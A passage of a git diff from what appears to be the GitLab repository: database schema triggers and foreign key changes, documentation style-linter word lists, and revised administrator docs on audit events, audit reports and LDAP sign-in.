CREATE TRIGGER trigger_69523443cc10 BEFORE INSERT OR UPDATE ON events FOR EACH ROW EXECUTE FUNCTION trigger_69523443cc10();
+CREATE TRIGGER trigger_77f5e1d20482 BEFORE INSERT OR UPDATE ON deployments FOR EACH ROW EXECUTE FUNCTION trigger_77f5e1d20482();
+
CREATE TRIGGER trigger_8485e97c00e3 BEFORE INSERT OR UPDATE ON ci_sources_pipelines FOR EACH ROW EXECUTE FUNCTION trigger_8485e97c00e3();
+CREATE TRIGGER trigger_8487d4de3e7b BEFORE INSERT OR UPDATE ON ci_builds_metadata FOR EACH ROW EXECUTE FUNCTION trigger_8487d4de3e7b();
+
+CREATE TRIGGER trigger_91dc388a5fe6 BEFORE INSERT OR UPDATE ON ci_build_trace_sections FOR EACH ROW EXECUTE FUNCTION trigger_91dc388a5fe6();
+
+CREATE TRIGGER trigger_aebe8b822ad3 BEFORE INSERT OR UPDATE ON taggings FOR EACH ROW EXECUTE FUNCTION trigger_aebe8b822ad3();
+
CREATE TRIGGER trigger_be1804f21693 BEFORE INSERT OR UPDATE ON ci_job_artifacts FOR EACH ROW EXECUTE FUNCTION trigger_be1804f21693();
CREATE TRIGGER trigger_cf2f9e35f002 BEFORE INSERT OR UPDATE ON ci_build_trace_chunks FOR EACH ROW EXECUTE FUNCTION trigger_cf2f9e35f002();
+CREATE TRIGGER trigger_f1ca8ec18d78 BEFORE INSERT OR UPDATE ON geo_job_artifact_deleted_events FOR EACH ROW EXECUTE FUNCTION trigger_f1ca8ec18d78();
+
CREATE TRIGGER trigger_has_external_issue_tracker_on_delete AFTER DELETE ON services FOR EACH ROW WHEN ((((old.category)::text = 'issue_tracker'::text) AND (old.active = true) AND (old.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
CREATE TRIGGER trigger_has_external_issue_tracker_on_insert AFTER INSERT ON services FOR EACH ROW WHEN ((((new.category)::text = 'issue_tracker'::text) AND (new.active = true) AND (new.project_id IS NOT NULL))) EXECUTE FUNCTION set_has_external_issue_tracker();
@@ -25215,9 +25508,6 @@ ALTER TABLE ONLY ci_unit_test_failures
ALTER TABLE ONLY project_pages_metadata
ADD CONSTRAINT fk_0fd5b22688 FOREIGN KEY (pages_deployment_id) REFERENCES pages_deployments(id) ON DELETE SET NULL;
-ALTER TABLE ONLY status_check_responses
- ADD CONSTRAINT fk_116e7e7369 FOREIGN KEY (external_approval_rule_id) REFERENCES external_approval_rules(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY group_deletion_schedules
ADD CONSTRAINT fk_11e3ebfcdd FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -25305,6 +25595,9 @@ ALTER TABLE ONLY notes
ALTER TABLE ONLY members
ADD CONSTRAINT fk_2e88fb7ce9 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY lfs_objects_projects
+ ADD CONSTRAINT fk_2eb33f7a78 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE NOT VALID;
+
ALTER TABLE ONLY lists
ADD CONSTRAINT fk_30f2a831f4 FOREIGN KEY (iteration_id) REFERENCES sprints(id) ON DELETE CASCADE;
@@ -25386,6 +25679,9 @@ ALTER TABLE ONLY clusters_applications_prometheus
ALTER TABLE ONLY terraform_states
ADD CONSTRAINT fk_558901b030 FOREIGN KEY (locked_by_user_id) REFERENCES users(id) ON DELETE SET NULL;
+ALTER TABLE ONLY status_check_responses
+ ADD CONSTRAINT fk_55bd2abc83 FOREIGN KEY (external_status_check_id) REFERENCES external_status_checks(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_request_metrics
ADD CONSTRAINT fk_56067dcb44 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -25506,6 +25802,9 @@ ALTER TABLE ONLY import_export_uploads
ALTER TABLE ONLY push_rules
ADD CONSTRAINT fk_83b29894de FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY experiment_subjects
+ ADD CONSTRAINT fk_842649f2f5 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY merge_request_diffs
ADD CONSTRAINT fk_8483f3258f FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
@@ -25521,9 +25820,6 @@ ALTER TABLE ONLY packages_package_files
ALTER TABLE ONLY ci_builds
ADD CONSTRAINT fk_87f4cefcda FOREIGN KEY (upstream_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
-ALTER TABLE ONLY experiment_subjects
- ADD CONSTRAINT fk_88489af1b1 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY vulnerabilities
ADD CONSTRAINT fk_88b4d546ef FOREIGN KEY (start_date_sourcing_milestone_id) REFERENCES milestones(id) ON DELETE SET NULL;
@@ -25590,6 +25886,9 @@ ALTER TABLE ONLY issues
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_9d480c64b2 FOREIGN KEY (start_date_sourcing_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
+ALTER TABLE ONLY protected_environments
+ ADD CONSTRAINT fk_9e112565b7 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY alert_management_alerts
ADD CONSTRAINT fk_9e49e5c2b7 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -25617,6 +25916,9 @@ ALTER TABLE ONLY bulk_import_entities
ALTER TABLE ONLY users
ADD CONSTRAINT fk_a4b8fefe3e FOREIGN KEY (managing_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY lfs_objects_projects
+ ADD CONSTRAINT fk_a56e02279c FOREIGN KEY (lfs_object_id) REFERENCES lfs_objects(id) ON DELETE RESTRICT NOT VALID;
+
ALTER TABLE ONLY dast_profiles_pipelines
ADD CONSTRAINT fk_a60cad829d FOREIGN KEY (ci_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE CASCADE;
@@ -25668,6 +25970,9 @@ ALTER TABLE ONLY bulk_import_entities
ALTER TABLE ONLY compliance_management_frameworks
ADD CONSTRAINT fk_b74c45b71f FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+ALTER TABLE ONLY external_status_checks_protected_branches
+ ADD CONSTRAINT fk_b7d788e813 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY issue_assignees
ADD CONSTRAINT fk_b7d881734a FOREIGN KEY (issue_id) REFERENCES issues(id) ON DELETE CASCADE;
@@ -25728,6 +26033,9 @@ ALTER TABLE ONLY external_approval_rules_protected_branches
ALTER TABLE ONLY external_approval_rules_protected_branches
ADD CONSTRAINT fk_ca2ffb55e6 FOREIGN KEY (protected_branch_id) REFERENCES protected_branches(id) ON DELETE CASCADE;
+ALTER TABLE ONLY external_status_checks_protected_branches
+ ADD CONSTRAINT fk_cc0dcc36d1 FOREIGN KEY (external_status_check_id) REFERENCES external_status_checks(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY dast_profiles_pipelines
ADD CONSTRAINT fk_cc206a8c13 FOREIGN KEY (dast_profile_id) REFERENCES dast_profiles(id) ON DELETE CASCADE;
@@ -25794,9 +26102,6 @@ ALTER TABLE ONLY project_group_links
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_dccd3f98fc FOREIGN KEY (assignee_id) REFERENCES users(id) ON DELETE SET NULL;
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT fk_ded7fe0344 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY issues
ADD CONSTRAINT fk_df75a7c8b8 FOREIGN KEY (promoted_to_epic_id) REFERENCES epics(id) ON DELETE SET NULL;
@@ -25836,6 +26141,9 @@ ALTER TABLE ONLY sprints
ALTER TABLE ONLY application_settings
ADD CONSTRAINT fk_e8a145f3a7 FOREIGN KEY (instance_administrators_group_id) REFERENCES namespaces(id) ON DELETE SET NULL;
+ALTER TABLE ONLY vulnerability_statistics
+ ADD CONSTRAINT fk_e8b13c928f FOREIGN KEY (latest_pipeline_id) REFERENCES ci_pipelines(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY ci_triggers
ADD CONSTRAINT fk_e8e10d1964 FOREIGN KEY (owner_id) REFERENCES users(id) ON DELETE CASCADE;
@@ -25866,9 +26174,6 @@ ALTER TABLE ONLY vulnerability_external_issue_links
ALTER TABLE ONLY epics
ADD CONSTRAINT fk_f081aa4489 FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT fk_f1472b95f3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY boards
ADD CONSTRAINT fk_f15266b5f9 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -25959,9 +26264,6 @@ ALTER TABLE ONLY ip_restrictions
ALTER TABLE ONLY terraform_state_versions
ADD CONSTRAINT fk_rails_04f176e239 FOREIGN KEY (terraform_state_id) REFERENCES terraform_states(id) ON DELETE CASCADE;
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT fk_rails_053f00a9da FOREIGN KEY (segment_id) REFERENCES analytics_devops_adoption_segments(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY ci_build_report_results
ADD CONSTRAINT fk_rails_056d298d48 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -26121,6 +26423,9 @@ ALTER TABLE ONLY boards_epic_board_positions
ALTER TABLE ONLY geo_repository_created_events
ADD CONSTRAINT fk_rails_1f49e46a61 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY external_status_checks
+ ADD CONSTRAINT fk_rails_1f5a8aa809 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY dora_daily_metrics
ADD CONSTRAINT fk_rails_1fd07aff6f FOREIGN KEY (environment_id) REFERENCES environments(id) ON DELETE CASCADE;
@@ -26259,6 +26564,9 @@ ALTER TABLE ONLY metrics_dashboard_annotations
ALTER TABLE ONLY wiki_page_slugs
ADD CONSTRAINT fk_rails_358b46be14 FOREIGN KEY (wiki_page_meta_id) REFERENCES wiki_page_meta(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT fk_rails_35f7f506ce FOREIGN KEY (added_by_id) REFERENCES users(id) ON DELETE SET NULL;
+
ALTER TABLE ONLY board_labels
ADD CONSTRAINT fk_rails_362b0600a3 FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
@@ -26274,6 +26582,9 @@ ALTER TABLE ONLY group_merge_request_approval_settings
ALTER TABLE ONLY analytics_cycle_analytics_project_stages
ADD CONSTRAINT fk_rails_3829e49b66 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_debian_project_distribution_keys
+ ADD CONSTRAINT fk_rails_3834a11264 FOREIGN KEY (distribution_id) REFERENCES packages_debian_project_distributions(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY issue_user_mentions
ADD CONSTRAINT fk_rails_3861d9fefa FOREIGN KEY (note_id) REFERENCES notes(id) ON DELETE CASCADE;
@@ -26382,9 +26693,18 @@ ALTER TABLE ONLY vulnerability_feedback
ALTER TABLE ONLY user_custom_attributes
ADD CONSTRAINT fk_rails_47b91868a8 FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pending_builds
+ ADD CONSTRAINT fk_rails_480669c3b3 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
+ALTER TABLE ONLY upcoming_reconciliations
+ ADD CONSTRAINT fk_rails_497b4938ac FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_pipeline_artifacts
ADD CONSTRAINT fk_rails_4a70390ca6 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT fk_rails_4b2ee3290b FOREIGN KEY (source_project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY group_deletion_schedules
ADD CONSTRAINT fk_rails_4b8c694a6c FOREIGN KEY (group_id) REFERENCES namespaces(id) ON DELETE CASCADE;
@@ -26508,6 +26828,9 @@ ALTER TABLE ONLY vulnerability_scanners
ALTER TABLE ONLY reviews
ADD CONSTRAINT fk_rails_5ca11d8c31 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT fk_rails_5ca491d360 FOREIGN KEY (runner_id) REFERENCES ci_runners(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY epic_issues
ADD CONSTRAINT fk_rails_5d942936b4 FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
@@ -26580,9 +26903,6 @@ ALTER TABLE ONLY operations_feature_flags_clients
ALTER TABLE ONLY namespace_admin_notes
ADD CONSTRAINT fk_rails_666166ea7b FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
-ALTER TABLE ONLY web_hook_logs_archived
- ADD CONSTRAINT fk_rails_666826e111 FOREIGN KEY (web_hook_id) REFERENCES web_hooks(id) ON DELETE CASCADE;
-
ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams
ADD CONSTRAINT fk_rails_669f4ba293 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -26595,9 +26915,15 @@ ALTER TABLE ONLY vulnerability_findings_remediations
ALTER TABLE ONLY resource_iteration_events
ADD CONSTRAINT fk_rails_6830c13ac1 FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_headers
+ ADD CONSTRAINT fk_rails_683b8e000c FOREIGN KEY (vulnerability_finding_evidence_response_id) REFERENCES vulnerability_finding_evidence_responses(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY geo_hashed_storage_migrated_events
ADD CONSTRAINT fk_rails_687ed7d7c5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT fk_rails_6904b38465 FOREIGN KEY (target_project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY plan_limits
ADD CONSTRAINT fk_rails_69f8b6184f FOREIGN KEY (plan_id) REFERENCES plans(id) ON DELETE CASCADE;
@@ -26628,6 +26954,9 @@ ALTER TABLE ONLY list_user_preferences
ALTER TABLE ONLY project_custom_attributes
ADD CONSTRAINT fk_rails_719c3dccc5 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_pending_builds
+ ADD CONSTRAINT fk_rails_725a2644a3 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY security_findings
ADD CONSTRAINT fk_rails_729b763a54 FOREIGN KEY (scanner_id) REFERENCES vulnerability_scanners(id) ON DELETE CASCADE;
@@ -26682,6 +27011,9 @@ ALTER TABLE ONLY packages_debian_publications
ALTER TABLE ONLY boards_epic_user_preferences
ADD CONSTRAINT fk_rails_76c4e9732d FOREIGN KEY (epic_id) REFERENCES epics(id) ON DELETE CASCADE;
+ALTER TABLE ONLY packages_debian_group_distribution_keys
+ ADD CONSTRAINT fk_rails_779438f163 FOREIGN KEY (distribution_id) REFERENCES packages_debian_group_distributions(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY ci_subscriptions_projects
ADD CONSTRAINT fk_rails_7871f9a97b FOREIGN KEY (upstream_project_id) REFERENCES projects(id) ON DELETE CASCADE;
@@ -27159,6 +27491,9 @@ ALTER TABLE ONLY operations_strategies_user_lists
ALTER TABLE ONLY issue_tracker_data
ADD CONSTRAINT fk_rails_ccc0840427 FOREIGN KEY (service_id) REFERENCES services(id) ON DELETE CASCADE;
+ALTER TABLE ONLY vulnerability_finding_evidence_headers
+ ADD CONSTRAINT fk_rails_ce7f121a03 FOREIGN KEY (vulnerability_finding_evidence_request_id) REFERENCES vulnerability_finding_evidence_requests(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY resource_milestone_events
ADD CONSTRAINT fk_rails_cedf8cce4d FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -27201,6 +27536,9 @@ ALTER TABLE ONLY geo_hashed_storage_attachments_events
ALTER TABLE ONLY merge_request_reviewers
ADD CONSTRAINT fk_rails_d9fec24b9d FOREIGN KEY (merge_request_id) REFERENCES merge_requests(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT fk_rails_da45cfa165 FOREIGN KEY (build_id) REFERENCES ci_builds(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY jira_imports
ADD CONSTRAINT fk_rails_da617096ce FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL;
@@ -27213,6 +27551,9 @@ ALTER TABLE ONLY issues_prometheus_alert_events
ALTER TABLE ONLY board_user_preferences
ADD CONSTRAINT fk_rails_dbebdaa8fe FOREIGN KEY (board_id) REFERENCES boards(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT fk_rails_dc1d0801e8 FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY vulnerability_occurrence_pipelines
ADD CONSTRAINT fk_rails_dc3ae04693 FOREIGN KEY (occurrence_id) REFERENCES vulnerability_occurrences(id) ON DELETE CASCADE;
@@ -27240,6 +27581,9 @@ ALTER TABLE ONLY analytics_cycle_analytics_group_stages
ALTER TABLE ONLY bulk_import_export_uploads
ADD CONSTRAINT fk_rails_dfbfb45eca FOREIGN KEY (export_id) REFERENCES bulk_import_exports(id) ON DELETE CASCADE;
+ALTER TABLE ONLY ci_minutes_additional_packs
+ ADD CONSTRAINT fk_rails_e0e0c4e4b1 FOREIGN KEY (namespace_id) REFERENCES namespaces(id) ON DELETE CASCADE;
+
ALTER TABLE ONLY label_priorities
ADD CONSTRAINT fk_rails_e161058b0f FOREIGN KEY (label_id) REFERENCES labels(id) ON DELETE CASCADE;
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml
index 01dafe45223..d7f5c750ec0 100644
--- a/doc/.vale/gitlab/Acronyms.yml
+++ b/doc/.vale/gitlab/Acronyms.yml
@@ -23,18 +23,18 @@ exceptions:
- AWS
- BSD
- CAS
+ - CDN
- CLI
- CNA
- CNAME
- CORE
- - CVS
- - FREE
- CPU
- CRIME
- CSRF
- CSS
- CSV
- CVE
+ - CVS
- DAG
- DAST
- DHCP
@@ -43,15 +43,18 @@ exceptions:
- DSA
- DVCS
- ECDSA
+ - ECS
- EFS
- EKS
- EOL
- EXIF
- FAQ
+ - FIFO
- FIPS
- FOSS
- FQDN
- FREE
+ - FTP
- GCP
- GDK
- GDPR
@@ -61,8 +64,10 @@ exceptions:
- GNU
- GPG
- GPL
+ - GPU
- GUI
- HAML
+ - HDD
- HEAD
- HIPAA
- HTML
@@ -80,6 +85,7 @@ exceptions:
- JPEG
- JPG
- JSON
+ - JVM
- JWT
- LAN
- LDAP
@@ -92,11 +98,13 @@ exceptions:
- MIT
- MVC
- NAT
+ - NDA
- NFS
- NGINX
- NOTE
- NTP
- ONLY
+ - OSS
- OWASP
- PAT
- PCI-DSS
@@ -106,8 +114,10 @@ exceptions:
- PGP
- PHP
- PNG
+ - POSIX
- POST
- PUT
+ - RAID
- RAM
- RDP
- REST
@@ -119,15 +129,17 @@ exceptions:
- RSA
- RSS
- RVM
- - SAML
- SAAS
+ - SAML
- SAST
+ - SATA
- SCIM
- SCP
- SCSS
- SDK
- SELF
- SEO
+ - SFTP
- SHA
- SLA
- SMS
@@ -162,6 +174,7 @@ exceptions:
- UUID
- VCS
- VPC
+ - VPN
- WIP
- WSL
- XML
diff --git a/doc/.vale/gitlab/SubstitutionWarning.yml b/doc/.vale/gitlab/SubstitutionWarning.yml
index 61fd0148fd8..b38427ace09 100644
--- a/doc/.vale/gitlab/SubstitutionWarning.yml
+++ b/doc/.vale/gitlab/SubstitutionWarning.yml
@@ -19,3 +19,15 @@ swap:
info: information
repo: repository
utilize: use
+ owner access: the Owner role
+ owner permission: the Owner role
+ owner permissions: the Owner role
+ maintainer access: the Maintainer role
+ maintainer permission: the Maintainer role
+ maintainer permissions: the Maintainer role
+ administrator access: the Administrator role
+ administrator permission: the Administrator role
+ administrator permissions: the Administrator role
+ developer access: the Developer role
+ developer permission: the Developer role
+ developer permissions: the Developer role
diff --git a/doc/.vale/gitlab/Substitutions.yml b/doc/.vale/gitlab/Substitutions.yml
index b31bead3bcd..99d2eb1f11a 100644
--- a/doc/.vale/gitlab/Substitutions.yml
+++ b/doc/.vale/gitlab/Substitutions.yml
@@ -4,7 +4,7 @@
# Checks for misused terms that should never be used at GitLab.
# SubstitutionWarning.yml and SubstitionSuggestions.yml also exist.
#
-# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles
+# For a list of all options, see https://docs.errata.ai/vale/styles
extends: substitution
message: 'Use "%s" instead of "%s".'
link: https://about.gitlab.com/handbook/communication/#top-misused-terms
diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt
index 05d0e5d4b85..d465767049f 100644
--- a/doc/.vale/gitlab/spelling-exceptions.txt
+++ b/doc/.vale/gitlab/spelling-exceptions.txt
@@ -13,6 +13,7 @@ anonymization
anonymized
Ansible
Anthos
+Apdex
approvers
architected
architecting
@@ -207,6 +208,7 @@ formatters
Fugit
fuzzer
Gantt
+Gemfile
Gemnasium
Gemojione
Getter
@@ -281,6 +283,7 @@ jQuery
jsdom
Jsonnet
JupyterHub
+Kaminari
kanban
kanbans
kaniko
@@ -292,7 +295,6 @@ keytab
keytabs
Kibana
Kinesis
-Klar
Knative
Kramdown
Kroki
@@ -439,6 +441,7 @@ Pritaly
Priyanka
profiler
Prometheus
+ProseMirror
protobuf
protobufs
proxied
@@ -546,6 +549,7 @@ serializer
serializers
serializing
serverless
+severities
sharded
sharding
shfmt
@@ -639,6 +643,7 @@ timeboxed
timeboxes
timeboxing
timecop
+tiptap
todos
tokenizer
Tokenizers
diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md
index a7f4fc10655..f0c4d947668 100644
--- a/doc/administration/audit_events.md
+++ b/doc/administration/audit_events.md
@@ -6,7 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Audit Events **(PREMIUM)**
-GitLab offers a way to view the changes made within the GitLab server for owners and administrators on a [paid plan](https://about.gitlab.com/pricing/).
+GitLab offers a way to view the changes made within the GitLab server for owners and administrators
+on a [paid plan](https://about.gitlab.com/pricing/).
GitLab system administrators can also take advantage of the logs located on the
file system. See [the logs system documentation](logs.md#audit_jsonlog) for more details.
@@ -49,10 +50,18 @@ When a user is being [impersonated](../user/admin_area/index.md#user-impersonati
### Group events **(PREMIUM)**
-A user with a Owner role (or above) can retrieve group audit events of all users.
-A user with a Developer or Maintainer role is limited to group audit events based on their individual actions.
+A user with:
+
+- Owner role (or above) can retrieve group audit events of all users.
+- Developer or Maintainer role is limited to group audit events based on their individual actions.
+
+Group events do not include project audit events.
+
+To view a group's audit events:
+
+1. Go to the group.
+1. On the left sidebar, select **Security & Compliance > Audit Events**.
-To view a group's audit events, navigate to **Group > Security & Compliance > Audit Events**.
From there, you can see the following actions:
- Group name or path changed.
@@ -82,7 +91,11 @@ Group events can also be accessed via the [Group Audit Events API](../api/audit_
A user with a Maintainer role (or above) can retrieve project audit events of all users.
A user with a Developer role is limited to project audit events based on their individual actions.
-To view a project's audit events, navigate to **Project > Security & Compliance > Audit Events**.
+To view a project's audit events:
+
+1. Go to the project.
+1. On the left sidebar, select **Security & Compliance > Audit Events**.
+
From there, you can see the following actions:
- Added or removed deploy keys
@@ -120,10 +133,14 @@ Server-wide audit events introduce the ability to observe user actions across
the entire instance of your GitLab server, making it easy to understand who
changed what and when for audit purposes.
-To view the server-wide administrator log, visit **Admin Area > Monitoring > Audit Events**.
+Instance events do not include group or project audit events.
-In addition to the group and project events, the following user actions are also
-recorded:
+To view the server-wide audit events:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Monitoring > Audit Events**.
+
+The following user actions are recorded:
- Sign-in events and the authentication type (such as standard, LDAP, or OmniAuth)
- Failed sign-ins
@@ -147,6 +164,17 @@ recorded:
Instance events can also be accessed via the [Instance Audit Events API](../api/audit_events.md#instance-audit-events).
+### Sign-in events **(FREE)**
+
+Successful sign-in events are the only Audit Events available at all tiers. To see
+successful sign-in events:
+
+1. Select your avatar.
+1. Select **Edit profile > Authentication log**.
+
+After upgrading from GitLab Free to a paid tier, successful sign-in events are the only Audit
+Events visible in Audit Events views until more events are logged.
+
### Missing events
Some events are not tracked in Audit Events. See the following
@@ -171,7 +199,7 @@ It may make the user interface for your project or audit events very busy, and t
`audit_events` PostgreSQL table may increase considerably. It's disabled by default
to prevent performance degradations on GitLab instances with very high Git write traffic.
-In an upcoming release, Audit Events for Git push events will be enabled
+In an upcoming release, Audit Events for Git push events are planned to be enabled
by default. Follow our [Partitioning strategy for Audit Events epic](https://gitlab.com/groups/gitlab-org/-/epics/3206) for updates.
If you still wish to enable **Repository push** events in your instance, follow
@@ -213,11 +241,12 @@ Export to CSV allows customers to export the current filter view of your audit e
CSV file, which stores tabular data in plain text. The data provides a comprehensive view with respect to
audit events.
-To export the Audit Events to CSV, navigate to
-**{monitor}** **Admin Area > Monitoring > Audit Events**
+To export the Audit Events to CSV:
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Monitoring > Audit Events**.
1. Select the available search [filters](#search).
-1. Click **Export as CSV**.
+1. Select **Export as CSV**.
### Sort
diff --git a/doc/administration/audit_reports.md b/doc/administration/audit_reports.md
index 2721ee39b60..6fa592b96db 100644
--- a/doc/administration/audit_reports.md
+++ b/doc/administration/audit_reports.md
@@ -5,10 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
description: 'Learn how to create evidence artifacts typically requested by a 3rd party auditor.'
---
-# Audit Reports
+# Audit reports **(FREE)**
GitLab can help owners and administrators respond to auditors by generating
-comprehensive reports. These **Audit Reports** vary in scope, depending on the
+comprehensive reports. These audit reports vary in scope, depending on the
needs.
## Use cases
diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md
index 364c7cebea3..bc6a854c518 100644
--- a/doc/administration/auth/ldap/index.md
+++ b/doc/administration/auth/ldap/index.md
@@ -7,7 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# General LDAP setup **(FREE SELF)**
-GitLab integrates with LDAP to support user authentication.
+GitLab integrates with [LDAP](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol)
+to support user authentication.
This integration works with most LDAP-compliant directory servers, including:
@@ -20,58 +21,48 @@ This integration works with most LDAP-compliant directory servers, including:
Users added through LDAP take a [licensed seat](../../../subscriptions/self_managed/index.md#billable-users).
GitLab Enterprise Editions (EE) include enhanced integration,
-including group membership syncing as well as multiple LDAP servers support.
-
-## Overview
-
-[LDAP](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol)
-stands for **Lightweight Directory Access Protocol**, which is a standard
-application protocol for accessing and maintaining distributed directory
-information services over an Internet Protocol (IP) network.
+including group membership syncing and multiple LDAP server support.
## Security
GitLab assumes that LDAP users:
- Are not able to change their LDAP `mail`, `email`, or `userPrincipalName` attributes.
- An LDAP user who is allowed to change their email on the LDAP server can potentially
+ An LDAP user allowed to change their email on the LDAP server can potentially
[take over any account](#enabling-ldap-sign-in-for-existing-gitlab-users)
on your GitLab server.
-- Have unique email addresses, otherwise it is possible for LDAP users with the same
+- Have unique email addresses. If not, it's possible for LDAP users with the same
email address to share the same GitLab account.
We recommend against using LDAP integration if your LDAP users are
-allowed to change their 'mail', 'email' or 'userPrincipalName' attribute on
-the LDAP server or share email addresses.
+allowed to change their `mail`, `email` or `userPrincipalName` attributes on
+the LDAP server, or share email addresses.
### User deletion
-If a user is deleted from the LDAP server, they are also blocked in GitLab.
-Users are immediately blocked from logging in. However, there is an
-LDAP check cache time of one hour (see note) which means users that
-are already logged in or are using Git over SSH are be able to access
-GitLab for up to one hour. Manually block the user in the GitLab Admin Area to
-immediately block all access.
-
-GitLab Enterprise Edition Premium supports a
-[configurable sync time](#adjusting-ldap-user-sync-schedule). **(PREMIUM)**
+Users deleted from the LDAP server are immediately blocked from signing in
+to GitLab. However, there's an LDAP check cache time of one hour (which is
+[configurable](#adjusting-ldap-user-sync-schedule) for GitLab Premium users).
+This means users already signed-in or who are using Git over SSH can access
+GitLab for up to one hour. Manually block the user in the GitLab Admin Area
+to immediately block all access.
## Git password authentication
-LDAP-enabled users can always authenticate with Git using their GitLab username
-or email and LDAP password, even if password authentication for Git is disabled
+LDAP-enabled users can authenticate with Git using their GitLab username or
+email and LDAP password, even if password authentication for Git is disabled
in the application settings.
## Enabling LDAP sign-in for existing GitLab users
-When a user signs in to GitLab with LDAP for the first time, and their LDAP
